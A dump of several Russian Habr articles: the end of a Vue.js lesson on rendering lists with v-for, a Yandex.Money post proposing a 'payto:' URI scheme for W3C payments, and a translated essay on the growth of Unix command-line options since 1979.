variantColor: 'green'
},
{
variantId: 2235,
variantColor: 'blue'
}
]
```
В объектах, которые содержатся в данном массиве, имеется название цвета и идентификатор варианта товара.
Выведем эти данные на странице:
```
{{ variant.variantColor }}
```
*Список вариантов товара*
Здесь нам нужно вывести на страницу лишь название цвета, соответствующее разным вариантам товара. Поэтому мы, обращаясь к элементам массива, используем точечную нотацию. Если бы мы, в фигурных скобках, написали `{{ variant }}`, то на страницу вывелся бы весь объект.
Обратите внимание на то, что при рендеринге подобных элементов рекомендуется использовать специальный атрибут `key`. Это позволяет Vue отслеживать идентичность элементов. Добавим такой атрибут в наш код, используя в качестве его значения уникальное свойство `variantId` объектов, содержащих сведения о вариантах товара:
```
{{ variant.variantColor }}
```
Практикум
---------
Добавьте в объект с данными массив `sizes`, содержащий сведения о размерах носков, и, используя директиву `v-for`, выведите данные из этого массива на странице в виде списка.
Массив `sizes` может выглядеть так:
```
sizes: ['S', 'M', 'L', 'XL', 'XXL', 'XXXL']
```
[Вот](https://codepen.io/GreggPollack/pen/QYeNaq) заготовка, которую вы можете использовать для решения этой задачи.
→ [Вот](https://codepen.io/GreggPollack/pen/ErqKoG) решение задачи
Итоги
-----
Сегодня мы узнали следующее:
* Директива `v-for` позволяет перебирать массивы для вывода содержащихся в них данных.
* В конструкции `v-for` для доступа к элементам массива используется псевдоним. Здесь же указывается и имя самого массива. Например, это может выглядеть так: `v-for=«item in items»`.
* При переборе массива объектов можно использовать точечную нотацию для доступа к свойствам объектов.
* При использовании `v-for` рекомендуется назначать каждому выводимому элементу уникальный ключ.
**Заглядываете ли вы в документацию Vue, занимаясь по этому курсу?**
→ [Vue.js для начинающих, урок 1: экземпляр Vue](https://habr.com/ru/company/ruvds/blog/509700/)
→ [Vue.js для начинающих, урок 2: привязка атрибутов](https://habr.com/ru/company/ruvds/blog/509702/)
→ [Vue.js для начинающих, урок 3: условный рендеринг](https://habr.com/ru/company/ruvds/blog/510628/)
→ [Vue.js для начинающих, урок 4: рендеринг списков](https://habr.com/ru/company/ruvds/blog/510898/)
→ [Vue.js для начинающих, урок 5: обработка событий](https://habr.com/ru/company/ruvds/blog/511600/)
→ [Vue.js для начинающих, урок 6: привязка классов и стилей](https://habr.com/ru/company/ruvds/blog/511602/)
→ [Vue.js для начинающих, урок 7: вычисляемые свойства](https://habr.com/ru/company/ruvds/blog/512660/)
→ [Vue.js для начинающих, урок 8: компоненты](https://habr.com/ru/company/ruvds/blog/512658/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=vuelesson4#order) | https://habr.com/ru/post/510898/ | null | ru | null |
# Предложение от Яндекс.Денег в новом стандарте платежей W3C
Привет! Меня зовут Евгений Виноградов. Я работаю в Яндекс.Деньгах и участвую в работе группы W3C, посвященной стандартам интернет-платежей. Помимо нас и ещё нескольких платёжных сервисов, в неё вошли международные IT-компании, банки, регуляторы, организации, работающие с Bitcoin. На самом деле, группа существует уже больше трех лет. Всё это время она обсуждает содержание будущего стандарта для интернет-платежей, но только недавно — после очной встречи участников — дело заметно продвинулось вперед.
[](http://habrahabr.ru/company/yandex/blog/233101/)
Мы в Яндекс.Деньгах не понаслышке знаем, с какими сложностями приходится сталкиваться разработчикам, например, интернет-магазинов. Сейчас для использования разных платёжных систем им приходится разбираться с документацией и особенностями каждой из них, а процесс подключения платёжных решений к мелкому магазину может растягиваться на месяцы. Если же подключение будет выполняться практически идентично, достаточно будет изучить процедуру один раз — и вы будете способны работать со всеми платежными системами.
Одним из наших предложений в рамках работы над стандартом стал способ инициализации платежа с условным названием «payto:» — по аналогии со всем известным сценарием отправки сообщений электронной почты через URI-схему «[mailto:](https://en.wikipedia.org/wiki/Mailto)».
В этом посте мы хотим рассказать о том, почему так сложилось, что единого стандарта до сих пор нет, почему он очень нужен и каким он может, на наш взгляд, быть.
Стандарты, с которыми сегодня работает платёжный бизнес, создавались десятилетия назад — большими компаниями для больших компаний. Появившийся и разросшийся с тех пор сегмент интернет-платежей вовлёк в процесс новых игроков. Участников рынка стало больше и перед ними встали новые задачи, для которых находились разношёрстные решения — и полезные, и граблеобразные. А существующие в интернете стандарты до них пока не дотянулись. Сходясь в архитектуре каждого ecommerce-проекта, все эти «грабли» и «костыли» оказываются головной болью для разработчиков, для владельцев бизнеса и, в конечном счёте, для пользователей. Чем быстрее и проще получить результат — тем эффективнее бизнес, так что предприниматели, безусловно, выиграют от стандартизации не меньше разработчиков.
### История стандартов: от чековых книжек к payto
Платежи как способ обмена ценностями уже много тысячелетий вполне успешно работают, но лишь в конце прошлого века массовые платежи стали нематериальными.
Начиналось это в США конца 50-х — начала 60-х. Покупатель приходил в магазин с наличными или с чековыми книжками, и был ограничен в покупках размером наличности при себе или остатком на счете, к которому были привязаны чеки. Розничный бизнес понял, что прибыли станут заметно больше, если человек не будет ограничиваться содержимым карманов — так появились частные кредитные счета в крупных розничных сетях (Sears, Montgomery Ward, JCPenney), а потом и карты этих сетей.
Тут банки обратили внимание, что ритейлеры хорошо зарабатывают на их поле, и вступили в игру: появились финансовые ассоциации, призванные создать единое универсальное решение — [Visa](https://en.wikipedia.org/wiki/Visa_Inc.) и [MasterCard](https://en.wikipedia.org/wiki/MasterCard). Клиент получал одну карту для разных торговых точек, а продавец всякий раз звонил в кредитную организацию для подтверждения платежа.
Вскоре владельцев банковских карт стало очень много, и одобрение транзакций по телефону стало неудобным для покупателей и затратным для бизнеса. Для решения проблемы придумали [магнитные ленты](http://habrahabr.ru/company/ibm/blog/168985/) на картах и [POS-терминалы](https://en.wikipedia.org/wiki/POS_terminal), которые передавали данные по dial-up и одобряли транзакции автоматически. Это был большой рывок вперёд.
Бизнес начал обрастать инфраструктурой, и в борьбе за минимизацию издержек произошло эволюционное разделение функций системы: появились банки-эмитенты, банки-эквайеры, процессинговые центры, платёжные шлюзы, организации по поддержке POS-инфраструктуры и другие. Поскольку в каждом сегменте участников было немного, договориться о стандартах им было гораздо проще: например, использующийся сейчас [ISO 20022](http://www.iso20022.org/) был разработан под управлением организации [SWIFT](https://en.wikipedia.org/wiki/SWIFT) в интересах банков и описывает межбанковские переводы, разные виды [OFX](https://en.wikipedia.org/wiki/OFX) были предложены IT-компаниями для обмена финансовыми сообщениями, стандарт [ISO 8583](http://en.wikipedia.org/wiki/ISO_8583), на котором работает передача данных при платежах банковскими картами, появился усилиями Visa и Mastercard.
Интернету нужны другие стандарты платежей, учитывающие потребности важных микроигроков: продавцов и разработчиков. Опыт Яндекс.Денег, суммирующий опыт интернет-сервиса, опыт платёжного решения для других интернет-сервисов и опыт «большой», наравне с банками, финансовой организации как раз и дал нам понимание того, каким может быть универсальный сценарий инициализации платежа. На первой встрече рабочей группы W3C весной этого года мы убедились, что это понимание совпадает с ожиданиями других крупнейших представителей финансово-технологической отрасли.
### Payto: как mailto, но с деньгами
В схеме mailto всё, что можно автоматизировать, уже автоматизировано: почтовые клиенты, браузеры, приложения понимают, что такое mailto: надо создать письмо на указанный адрес, просто добавьте содержательную часть и подтвердите, что готовы отправить, всё стальное сделает техника.
Когда в прошлом году мы запустили «денежные письма» (возможность «прикрепить» деньги к сообщению Яндекс.Почты, введя только сумму и пароль), это воспринималось как магия — настолько простым вдруг оказался процесс, обычно требующий гораздо больше действий. Единый платёжный протокол позволит добавить похожей бесшовности в любом месте, например, на сайте магазина, одной короткой строчкой:
`payto:example.com/payto.xml?item=BigBook∑=10.0&account=111223344&someparams=params`
Аналогично mailto, браузеры и почтовые клиенты, приложения и т.д., реализующие стандарт, смогут распознавать эту разметку на страницах и автоматически проводить плательщика через процедуру отправки денег — если он захочет воспользоваться предложением.
Вокруг этой простой с виду структуры, конечно, есть много вопросов. А если браузер не понимает стандарта? Если в разметке указан [URI](https://en.wikipedia.org/wiki/URI) PSP, он может отправить пользователя просто по ссылке. А если есть попытка фишинга/мошенничества? PSP может проследить за тем, чтобы пользователь был предупрежден о такой опасности. Процесс выработки стандарта как раз подразумевает поиск ответов на такие сопуствующие вопросы.
При этом надо отметить, что идея использования URI для платежа уже имеет свои реализации. API многих PSP позволяют инициировать платеж запросом по определенному URL с параметрами.
А, к примеру, для Bitcoin есть BIP 0021 (0020) — способ описания платежа через URI, который включает в себя параметры amountparam, labelparam, messageparam, и ряд других. При этом, любой биткойн-клиент легко может разобрать эти параметры и использовать их для проведения платежа. Более того, URI-схема биткоина в принципе позволяет не только запросить деньги, но и отправить, если есть соответствующий приватный ключ.
### Кто заплатит за прогресс?
Конечно, decrease friction (пресловутая «бесшовность») применительно к платежам будет означать усложнение инфраструктуры, требуемой для обеспечения этого самого decrease на стороне платёжного оператора. Но уже сейчас роль платёжных провайдеров в производственной цепочке сводится к «упрощению жизни для всех остальных», так что это самое разумное место для применения нововведений.
Отдельный большой вопрос, который нам задают в этой связи со стороны: как потребность в стандартизации соотносится с конкуренцией. Тут нет противоречия: платёж как таковой начинается гораздо раньше, чем непосредственно транзакция по переводу суммы в N денег. Он начинается, когда человек задумывается о том, куда сложить свои материальные ресурсы. В каждой стране есть свои особенности этого процесса, но в целом взаимодействие между конкретными компаниями и конкретными людьми всё равно происходит похожим образом.
Для некоторых компаний важнее доход от конкретной операции, для других — от группы операций, для кого-то перевод денег — просто дополнительная, непрофильная услуга. Именно тут начинается разница в уровне сервиса и его стоимости, в специфике добавочных услуг.
Ещё одно важное поле околоплатежной активности — безопасность на самом разном уровне: от доверия между продавцом и покупателем до борьбы с фальшивыми деньгами и уверенности, что в операции участвуют именно те, за кого участники себя выдают. И тут стандарт де-факто может стать рычагом, продвигающем безопасные методы проведения операций в массы.
Понятно, что требования и запросы у всех разные. Регуляторам хочется регулировать, то есть держать под контролем денежные потоки; банкам хочется безопасности и доходов; IT-компаниям хочется прозрачности технологий — этот список можно продолжить, и во многих этих задачах стандарт станет хорошим подспорьем.
Выиграют ли пользователи? Определённо. По сути, платеж – это инфраструктурный вопрос, который сам по себе никому из них особо не интересен. Никто не просыпается с мыслью «а не провести ли мне транзакцию?», просыпаются с мыслью «Хочу новый телефон» или «Шампанского в номер 25!». И стандарт, описывающий процессы перевода денег, позволяет сделать действия, связанные с платежами, рутинными, привычными, а значит – как можно более незаметными для человека. | https://habr.com/ru/post/233101/ | null | ru | null |
# Усложнение команд консоли, 1979−2020
[Моё хобби](https://www.xkcd.com/1795/) — открыть [«Философию UNIX»](https://danluu.com/mcilroy-unix/) Макилроя на одном мониторе, одновременно читая маны на другом.
Первый из принципов Макилроя часто перефразируют как «Делайте что-то одно, но делайте хорошо». Это сокращение от его слов «Создавайте программы, которые делают одну вещь хорошо. Для новой работы создавайте новые программы, а не усложняйте старые добавлением новых "функций"».
Макилрой приводит пример:
> Для посторонних кажется удивительным тот факт, что компиляторы UNIX не выдают листинги: печать лучше осуществляется и более гибко настраивается с помощью отдельной программы.
Если вы откроете справку для `ls`, то она начинается с
`ls [-ABCFGHLOPRSTUW@abcdefghiklmnopqrstuwx1] [file ...]`
То есть однобуквенные флаги для `ls` включают все строчные буквы, кроме `{jvyz}`, 14-ти прописных букв, `@` и `1`. Это 22 + 14 + 2 = 38 только односимвольных вариантов.
В Ubuntu 17 справка для `ls` не покажет нормальное резюме, но вы увидите, что у `ls` есть 58 опций (включая `--help` и `--version`).
Давайте посмотрим, это уникальная ситуация или нормальное положение вещей. Составим список некоторых обычных команд, отсортированный по частоте использования.
В таблице указано количество параметров командной строки для различных команд v7 Unix (1979), slackware 3.1 (1996), ubuntu 12 (2015) и ubuntu 17 (2017). Чем больше параметров, тем темнее ячейки (в логарифмическом масштабе).
Мы видим, что с годами количество опций резко увеличивается: как правило, записи темнеют слева направо (больше опций), и нет случаев, когда записи становятся светлее (меньше опций).
Макилрой [давно осуждает](https://archive.org/details/DougMcIlroy_AncestryOfLinux_DLSLUG) увеличение количества опций, размера и общей функциональности команд[1](#1):
> Всё было маленьким, а сейчас моё сердце сжимается, когда я вижу в Linux размер… [неразборчиво]. Те же утилиты, которые раньше помещались в восемь килобайт, теперь стали по мегабайту. И справочная страница, которая раньше действительно была *страницей*, теперь представляет собой небольшой томик с тысячей опций… Раньше мы сидели в комнате Unix и рассуждали: «Что выбросить? Зачем нужна такая опция?» Это нормальные и частые вопросы, потому что в базовом дизайне обычно есть какой-то недостаток, когда вы не попали идеально в нужную точку дизайна. Вместо того, чтобы выкатывать опцию, выясните, что заставляет вас это делать. Такая логика была отчасти вызвана скромными аппаратными ресурсами… теперь она потеряна, и нам от этого не легче.
По иронии, одной из причин роста числа опций командной строки является другое изречение Макилроя: «Пишите программы для обработки текстовых потоков, потому что это универсальный интерфейс» (см. `ls` в качестве одного из примеров).
Если бы передавались структурированные данные или объекты, форматирование можно оставить на заключительный этап. Но в случае с обычным текстом форматирование и содержимое смешиваются; поскольку форматирование можно выполнить только путём разбора содержимого, команды обычно для удобства добавляют параметры форматирования. Кроме того, форматирование может быть выполнено, когда пользователь применяет свои знания о структуре данных и «кодирует» эти знания в аргументы для `cut`, `awk`, `sed` и т. д. (пользователь также использует свои знания о том, как эти программы работают с форматированием, потому что оно отличается для разных программ, так что и пользователь должен знать, например, чем `cut -f4` [отличается](https://unix.stackexchange.com/a/132322/261842) от `awk '{ print $4 }`[2](#2)). Это намного больше хлопот, чем передача одного или двух аргументов следующей команде в последовательности, и это переносит сложность инструмента на пользователя.
Люди иногда говорят, что не хотят поддерживать структурированные данные, потому что тогда в универсальном инструменте пришлось бы поддерживать несколько форматов. Но им уже приходится поддерживать несколько форматов, чтобы сделать универсальный инструмент. Некоторые стандартные команды не могут считывать выходные данные из других команд, потому что используют разные форматы. Например, `wc -w` неправильно обрабатывает Юникод и т. д. Сказать, что «текст» — это универсальный формат, всё равно что сказать, что «двоичный» — это универсальный формат.
Говорят, что для такого усложнения инструментов командной строки нет никакой альтернативы. Но люди, которые так говорят, никогда не пробовали альтернативу, что-то вроде PowerShell. У меня много претензий к PowerShell, но передача структурированных данных и возможность легко работать со структурированными данными без необходимости держать в голове метаданные, чтобы я мог передать их в нужные инструменты командной строки в нужных местах конвейера, не входит в число моих жалоб[3](#3).
Когда вам говорят, что программы должны быть простыми и совместимыми, обрабатывая текст, — эти люди притворяются, что у текстовых данных нет структуры, которую нужно парсить[4](#4). В некоторых случаях мы можем представить всё как одну строку, разделённую пробелами, или как таблицу с разделителями строк и столбцов ([с поведением, которое, конечно, не согласуется с другими инструментами](https://unix.stackexchange.com/a/132322/261842)). Это добавляет немного проблем. Есть ещё случаи, когда сериализация данных в обычный текстовый формат добавляет значительную сложность, так как из-за структуры данных простая сериализация в текст впоследствии требует значительных усилий по парсингу для повторного усвоения данных осмысленным образом.
Другая причина, почему у команд теперь больше опций, заключается в том, что люди добавили удобные флаги для функциональности, которую можно было реализовать конвейером из нескольких команд. Такая практика повелась со времён Unix v7, где в `ls` появилась опция для изменения порядка сортировки (хотя это можно было сделать путём передачи выходных данных в `tac`).
Со временем чисто для удобства добавили дополнительные параметры. Например, бывшая изначально без параметров команда `mv` теперь может переместить файл и *одновременно* создать его резервную копию (три опции; два разных способа указать резервную копию, один из которых принимает аргумент, а другой не принимает аргументов, считывает неявный аргумент из переменной среды `VERSION_CONTROL`; ещё одна опция позволяет переопределить суффикс резервной копии по умолчанию). Теперь у `mv` есть ещё опции никогда не перезаписывать файлы или перезаписывать только более новые файлы.
`mkdir` ещё одна программа, у которой раньше не было опций. Сегодня все её флаги, за исключением опций безопасности для SELinux или SMACK, а также справки и номера версии, добавлены исключительно для удобства: установка разрешений для нового каталога и создание родительских каталогов, если они не существуют.
У `tail` изначально была только одна опция `-number`, указывающая на стартовую точку для работы. Потом добавили как форматирование, так и опции для удобства форматирования. Флаг `-z` заменяет разделитель строк на `null`. Вот другие примеры опций, добавленных для удобства: `-f` для печати при появлении новых изменений, `-s` для установки интервала ожидания между проверкой изменений /code>-f, а также `-retry` для повторных попыток доступа к файлу, если он недоступен.
Макилрой критикует разработчиков за то, что они добавили все эти опции, но лично мне так лучше. Хотя я никогда не использовал некоторые из них, а другие использовал редко, но в этом и заключается красота параметров командной строки — в отличие от графического интерфейса, добавление этих параметров не загромождает интерфейс. Да, маны и справка разбухают, но в эпоху Google и Stackoverflow в любом случае многие просто гуглят любой вопрос, а не читают маны.
Конечно, добавление опций увеличивает нагрузку на мейнтейнеров. Но это справедливая плата за пользу, которую они приносят. Учитывая соотношение количества мейнтейнеров и пользователей, логично возложить дополнительную нагрузку на первых, а не на вторых. Это аналогично замечанию Гэри Бернхардта, что разумно репетировать выступление 50 раз. Если аудитория составляет 300 человек, то отношение времени, потраченного на просмотр выступления, к времени, потраченному на репетиции, всё равно составит 6:1. У популярных инструментов командной строки это соотношение ещё экстремальнее.
Кто-то может возразить, что все эти дополнительные опции накладывают лишнее бремя на пользователей. Это не совсем неправильно, но это бремя сложности всегда будет существовать. Вопрос только в том, где именно. Если представить, что набор инструментов командной строки вместе с оболочкой образуют язык, на котором каждый может написать новый метод, и в случае популярности метод эффективно добавляется в стандартную библиотеку, а стандарты определяются аксиомами типа «Писать программы для обработки текстовых потоков, потому что это универсальный интерфейс», то язык превратится в бессвязный хаос write-only, если взять его целиком. По крайней мере, благодаря инструментам с большим набором опций и функциональности пользователи Unix могут заменить гигантский набор дико несогласованных инструментов просто большим набором инструментов, которые, хотя и несогласованы друг с другом снаружи, но обладают некоторой внутренней согласованностью.
Макилрой подразумевает недостаточную продуманность набора инструментов. Мол, отцам-основателям Unix следовало сесть в одной комнате и хорошенько подумать, пока они не придумали бы набор последовательных инструментов «необычайной простоты». Но он не будет масштабироваться, сама философия Unix неизбежно привела к беспорядку, в котором мы находимся. Дело не в том, что кто-то не думал долго или усердно. Дело в философии, которая не масштабирутся за пределы относительно небольшой команды с общим культурным пониманием, способной поместиться в одной комнате.
Если кто-то хочет написать инструмент на основе «философии Unix», то у разных людей будут разные мнения о том, что означает [«простота»](https://twitter.com/hillelogram/status/1174714902151421952) или принцип «делать одну вещь»[5](#5), как правильно должен работать инструмент — и пышным цветом расцветёт непоследовательность, в результате чего вы получите огромную сложность, подобную дико непоследовательным языкам вроде PHP. Люди высмеивают PHP и JavaScript за различные странности и несоответствия, но как язык и стандартная библиотека, любая популярная оболочка с коллекцией популярных инструментов \*nix, если взять вместе, намного хуже и содержит гораздо больше случайной сложности из-за несоответствия даже в пределах одного дистрибутива Linux. А иначе и быть не может. Если сравнить дистрибутивы Linux, BSD, Solaris, AIX и т. д., то количество случайной сложности, которую пользователи должны держать в голове при переключении систем, затмевает несогласованность PHP или JavaScript. Наиболее широко осмеянные языки программирования — настоящие образцы великолепного дизайна по сравнению с ними.
Для ясности, я не утверждаю, что я сам или кто-то другой мог бы лучше справиться с разработкой в 70-е годы, учитывая доступные тогда знания, и создать систему, которая была бы одновременно и полезной в то время, и элегантной сегодня. Конечно, легко оглянуться и найти проблемы в ретроспективе. Я просто не согласен с комментариями некоторых знатоков Unix, как Макилрой, которые намекают, что мы забыли или не понимаем ценность простоты. Или [Кена Томпсона, который говорит, что C — такой же безопасный язык, как и любой другой, и если мы не хотим появления ошибок, нужно просто писать код без ошибок](https://twitter.com/danluu/status/885214004649615360). Такого рода комментарии подразумевают, что мало что изменилось за эти годы. Якобы в 70-е мы строили системы так же, как и сегодня, а пять десятилетий коллективного опыта, десятки миллионов человеко-лет ничему нас не научили. И если мы обратимся к истокам, к создателям Unix, то всё будет хорошо. Со всем уважением, я не согласен.
Приложение: память
==================
Хотя жалобы Макилроя на раздувание бинарников немного выходят за рамки этой статьи, я отмечу, что в 2017 году я купил Chromebook с 16 ГБ оперативной памяти за 300 долларов. Бинарник на 1 мегабайт мог бы стать серьёзной проблемой в 1979 году, когда стандартный Apple II оснащался 4 килобайтами памяти. Apple II стоил $1298 в 1979 году или $4612 в 2020 году. Сегодня вы можете купить недорогой Chromebook, который стоит меньше 1/15 от этой цены, при этом имеет в четыре миллиона раз больше памяти. Жалобы, что использование памяти выросло в тысячу раз, кажутся немного смешными, когда (портативная!) машина стоит на порядок дешевле и имеет в четыре миллиона раз больше памяти.
Мне нравится оптимизация, поэтому я ужал свою домашнюю страницу до двух пакетов (был бы один, если бы CDN поддерживал высокоуровневый brotli), но это чисто эстетическое требование, я делаю это для удовольствия. Узким местом инструментов командной строки является не использование памяти, и время на оптимизацию памяти инструмента размером один мегабайт, — это всё равно что сводить домашнюю страницу к одному пакету. Возможно, забавное хобби, но не более того.
Методология составления таблицы
===============================
Частота использования команд получена из общедоступных файлов истории команд на github, она не обязательно соответствует вашему личному опыту. Подсчитывались только «простые» команды, без учёта экземпляров вроде curl, git, gcc (у последней более 1000 опций) и wget. Понятие простоты относительно. [Встроенные команды оболочки](https://twitter.com/danluu/status/885214004649615360), такие как `cd`, тоже не учитывались.
Повторение флагов не считалось отдельным вариантом. Например, у `git blame -C`, `git blame -C -C` и `git blame -C -C -C` разное поведение, но все они будут считаться одним аргументом, хотя `-C -C` и `-C` — это фактически разные аргументы.
Подопции в таблице подсчитываются как один вариант. Например, `ls` поддерживает следующие:
`--format=WORD across -x, commas -m, horizontal -x, long -l, single-column -1, verbose -l, vertical -C`
Несмотря на семь опций `format`, это считается как одна опция.
Опции, которые явно указаны как бесполезные, по-прежнему считаются опциями, например, `ls -g`, которая игнорируется, тоже считается.
Несколько версий одной и той же опции считаются одной опцией. Например, `-A` и `--almost-all` для `ls`.
Если справка говорит, что опция существует, но в реальности её нет, то она не учитывается. Например, в справке по v7 mv написано:
> БАГИ
>
>
>
> Если file1 и file2 в разных файловых системах, то mv должен скопировать файл и удалить оригинал. В этом случае имя владельца становится именем процесса копирования, а любая связь с другими файлами теряется.
>
>
>
> mv должен принимать флаг **-f**, как rm, чтобы подавить сообщение о существовании целевого файла, недоступного для записи.
Но `-f` не считается флагом в таблице, потому что опция на самом деле не существует.
Таблица заканчивается в 2017 году, потому что тогда был написан первый черновик этой статьи. Только сейчас дошли руки вычитать его.
По теме
=======
* [Рассуждения mjd о философии Unix, с мыслями о беспорядке /usr/bin/time по сравнению со встроенным временем](https://blog.plover.com/Unix/tools.html)
* [Шутка mjd о распространении командных опций в 1991 году](https://groups.google.com/forum/m/#!topic/rec.humor.funny/Q-HG4LpW564)
* С HN:
>
> > p1mrx:
> >
> >
> >
> > [Странно, что ls вырос до 58 опций, но все ещё не может вывести имена файлов с завершением на \0](https://unix.stackexchange.com/q/112125/261842)
> >
> >
> >
> > В качестве упражнения попробуйте отсортировать каталог по размеру или дате и передать результат в xargs, при этом поддерживая все допустимые имена файлов. В конце концов я просто сдался и поставил в скрипте игнор любых файлов с \n в названии.
>
>
>
> whelming\_wave:
>
>
>
> Отсортируем все файлы в текущем каталоге по времени изменения, с пробелами в именах файлов (whitespace-in-filenames-safe). Конструкция `printf (od -> sed)` преобразует обратно из символов, разделённых нулем, в символы, разделённые новой строкой, хотя можете заменить её другой конструкцией, принимающей входные данные, разделённые нулем. Конечно, `sort --zero-terminated` — это расширение GNU и своего рода читерство, но оно доступно даже на macOS, так что будет считать, что всё нормально.
>
>
>
>
> ```
> printf '%b' $(
> find . -maxdepth 1 -exec sh -c '
> printf '\''%s %s\0'\'' "$(stat -f '\''%m'\'' "$1")" "$1"
> ' sh {} \; | \
> sort --zero-terminated | \
> od -v -b | \
> sed 's/^[^ ]*//
> s/ *$//
> s/ */ \\/g
> s/\\000/\\012/g')
> ```
>
>
> Если вы работаете под zsh, то чтобы использовать системный исполняемый файл, нужно добавить префикс 'command', потому что printf, встроенный в zsh, не поддерживает печать восьмеричных escape-кодов для нормальных печатаемых символов. Возможно, придётся назначить выдачу в переменную и явное разделение на слова.
>
>
>
> Это всё POSIX, насколько я знаю, за исключением sort.
* [Справочник ненавистников Unix](https://en.wikipedia.org/wiki/The_Unix-Haters_Handbook)
* [Зачем создавать новую оболочку?](https://www.oilshell.org/blog/2018/01/28.html)
Благодарю Ли Хэнсона, Хиллела Уэйна, Уэсли Аптекар-Касселса, Трэвиса Даунса и Юрия Вишневского за комментарии/исправления/обсуждение.
---
1. Эта цитата немного отличается от общеупотребительной версии, потому что я смотрел [исходное видео](https://archive.org/details/DougMcIlroy_AncestryOfLinux_DLSLUG). Насколько я могу судить, все копии этой цитаты в интернете (индексы Bing, DuckDuckGo и Google) взяты из одной транскрипции одного человека. Там есть определённая двусмысленность, потому что звук низкого качества, и я слышу слова, которые немного отличаются от того, что услышал тот человек. [[вернуться]](#1_1)
2. Другой пример, как сложность перекладывается на пользователя, потому что разные команды обрабатывают форматирование по-разному, — это [форматирование времени](https://blog.plover.com/Unix/tools.html). Встроенное в оболочку время `time`, конечно, несовместимо с `/usr/bin/time`. Пользователь должен быть осведомлён об этом факте и знать, как это обрабатывать. [[вернуться]](#2_2)
3. Например, для любого объекта можно использовать `ConvertTo-Json` или `ConvertTo-CSV`. Или [«командлеты» для изменения отображения свойств объектов](https://docs.microsoft.com/en-us/powershell/scripting/samples/using-format-commands-to-change-output-view). Вы можете написать файлы конфигурации форматирования, которые определяют предпочтительные способы форматирования.
Другой способ взглянуть на это — через призму [закона Конвея](https://en.wikipedia.org/wiki/Conway's_law). Если у нас есть набор инструментов командной строки, созданных разными людьми, часто из разных организаций, эти инструменты будут дико непоследовательны, если кто-то не сможет определить стандарт и заставить людей принять его. Это на самом деле работает относительно хорошо в Windows, а не только в PowerShell.
Распространённая жалоба на Microsoft заключается в массивном обороте API, часто по нетехническим организационным причинам (например, см. действия Стивена Синофски, как описанные в ответах на [удалённый твит](https://twitter.com/stevesi/status/733654590034300929)). Это правда. Тем не менее, с точки зрения наивного пользователя стандартное программное обеспечение Windows, как правило, намного лучше передаёт нетекстовые данные, чем \*nix. Охват нетекстовых данных в Windows восходит, по крайней мере, к [COM](https://en.wikipedia.org/wiki/Component_Object_Model) в 1999 году (и, возможно, к OLE и DDE, выпущенным в 1990 и 1987 годах соответственно).
Например, если вы копируете из Foo, который поддерживает двоичные форматы `A` и `B`, в Bar, который поддерживает форматы `B` и `C`, а затем копируете из Bar в Baz, который поддерживает `C` и `D`, всё будет нормально работать, даже если у Foo и Baz нет общих поддерживаемых форматов.
Когда вы что-то вырезаете или копируете, приложение в основном «сообщает» буферу обмена, в каких форматах оно может предоставить данные. При вставке в приложение конечное приложение может запросить данные в любом из доступных форматов. Если данные уже находятся в буфере обмена, «Windows» предоставляет их. Если это не так, Windows получает данные из исходного приложения, а затем передаёт целевому приложению, а копия сохраняется в течение некоторого времени. Если вы «вырезаете» из Excel, он скажет «вам», что у него есть данные, доступные во многих десятках форматов. Такая система довольно хороша для совместимости, хотя её определённо не назовёшь простой или минималистичной.
В дополнение к хорошей поддержке многих форматов достаточно долгое время, чтобы многие программы начали хорошо разбираться с этими возможностями, в Windows из коробки обычно хорошая поддержка буфера обмена.
Предположим, вы копируете, а затем вставляете небольшое количество текста. В большинстве случаев никаких неожиданностей не произойдёт ни на Windows, ни на Linux. Но теперь предположим, что вы скопировали какой-то текст, закрыли программу, из которой вы скопировали, и затем вставили его. Многие пользователи склонны думать, что при копировании данные хранятся в буфере обмена, а не в программе, из которой они копируются. В Windows программное обеспечение обычно пишется в соответствии с этим ожиданием (хотя технически пользователи API буфера обмена не должны этого делать). Это менее распространено в Linux с X, где правильная ментальная модель для большинства программ заключается в том, что копирование сохраняет указатель на данные, которые всё ещё принадлежат программе, из которой они копируются. То есть вставка не сработает, если программа закрыта. Когда я (неофициально) опрашивал программистов, они обычно удивлялись этому, если только в реальности не работали с функцией копирования+вставки для своего приложения. Когда я опрашивал непрограммистов, они, как правило, находили такое поведение не только удивительным, но и сбивающим с толку.
Недостаток передачи буфера обмена в ОС в том, что копирование больших объёмов данных обходится дорого. Предположим, вы копируете действительно большой объём текста, много гигабайт или какой-то сложный объект, а затем не вставляете его. На самом деле вы не хотите копировать эти данные из вашей программы в ОС, чтобы они хранились там и были доступны. Windows справляется с этим разумно: приложения могут [предоставлять данные только по запросу](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpeclip/fa309d1b-8034-44bf-b927-adfc753e69c1), если это считается выгодным. В нашем случае, когда пользователь закрывает программу, она может определить, поместить данные в буфер обмена или удалить их. В этом случае многие программы (например, Excel) будут предлагать «сохранить» данные в буфере обмена или удалить их, что довольно разумно.
Некоторые из этих функций можно реализовать в Linux. Например, [спецификация ClipboardManager](https://freedesktop.org/wiki/ClipboardManager/) описывает механизм сохранения, и приложения GNOME обычно поддерживают его (хотя и [с некоторыми ошибками](https://bugzilla.gnome.org/show_bug.cgi?id=510204#c8)), но ситуация на \*nix действительно отличается в худшую сторону от повсеместно распространённой поддержки приложениями Windows, где обычно реализован грамотный буфер обмена. [[вернуться]](#3_3)
4. Другой пример — инструменты поверх современных компиляторов. Вернёмся назад и посмотрим на канонический пример Макилроя, где правильные компиляторы Unix настолько специализированы, что листинг выполняется отдельным инструментом. Но сегодня это изменилось, хотя и остался отдельный инструмент для листинга. У некоторых популярных компиляторов Linux буквально тысячи опций — и они чрезвычайно многофункциональны. Например, одна из многих функций современного `clang` — это статический анализ. На момент написания этой статьи существует [79 обычных проверок статического анализа и 44 экспериментальных проверок](https://clang.llvm.org/docs/analyzer/checkers.html#default-checkers). Если бы это были отдельные команды, они всё равно полагались бы на ту же базовую инфраструктуру компилятора и накладывали бы ту же нагрузку на обслуживание — на самом деле неразумно, чтобы эти инструменты статического анализа работали с обычным текстом и переопределяли всю цепочку инструментов компилятора, необходимую для получения точки, где они могут выполнять статический анализ. Они могут быть отдельными командами вместо того, чтобы объединяться в clang, но они всё равно будут зависеть от того же механизма и либо наложат на компилятор бремя обслуживания и сложности (который должен поддерживать стабильные интерфейсы для инструментов, которые работают поверх него), либо будут постоянно ломаться.
Делать всё в тексте для простоты — звучит красиво, но на самом деле текстовое представление данных часто не то, что вам нужно, если вы хотите сделать действительно полезную работу.
